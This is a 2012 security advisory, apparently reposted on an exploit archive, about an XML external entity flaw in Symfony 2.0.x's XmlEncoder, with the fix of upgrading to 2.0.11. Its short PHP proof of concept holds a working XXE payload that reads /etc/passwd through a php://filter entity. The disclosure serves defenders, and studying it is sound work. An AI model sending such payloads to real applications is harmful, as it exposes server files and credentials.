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Symfony 2 Unauthenticated Information Disclosure

Symfony 2 Unauthenticated Information Disclosure
Posted Mar 5, 2012
Authored by Phil Taylor | Site senseofsecurity.com.au

The XMLEncoder component of Symfony version 2.0.x fails to disable external entities when parsing XML. In the Symfony2 framework the XML class may be used to deserialize objects or as part of a client/server API. By using external entities it is possible to include arbitrary files from the file system. Any application written in Symfony2 that parses user supplied XML is affected.

tags | exploit, arbitrary
SHA-256 | 41c5e9ed24bcfedc86e11b0fbb5e857209c2e898342bd3b498a8707a5985fdad

Symfony 2 Unauthenticated Information Disclosure

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Sense of Security - Security Advisory - SOS-12-002

Release Date. 05-Mar-2012
Last Update. -
Vendor Notification Date. 24-Feb-2012
Product. Symfony2
Platform. PHP
Affected versions. 2.0.x - 2.0.10
Severity Rating. Medium
Impact. Exposure of sensitive information
Attack Vector. Remote without authentication
Solution Status. Vendor patch / Upgrade to 2.0.11
CVE reference. CVE - not yet assigned

Details.
The XMLEncoder component of Symfony 2.0.x fails to disable external
entities when parsing XML. In the Symfony2 framework the XML class
may be used to deserialize objects or as part of a client/server
API. By using external entities it is possible to include arbitrary
files from the file system. Any application written in Symfony2
that parses user supplied XML is affected.

Proof of Concept.
$serializer = new Serializer(array(), array(
'xml' => new \Symfony\Component\Serializer\Encoder\XmlEncoder()
));

$x = $serializer->decode('<?xml version="1.0"?><!DOCTYPE scan
[<!ENTITY test SYSTEM
"php://filter/read=convert.base64-encode/resource=/etc/passwd">]><scan>&test;</scan>',
'xml');

var_dump($x);

// $x will now contain a copy of /etc/passwd base64 encoded.

Solution.
Upgrade to Symfony 2.0.11 or apply the vendor provided patch.

Discovered by.
Phil Taylor from Sense of Security Labs.

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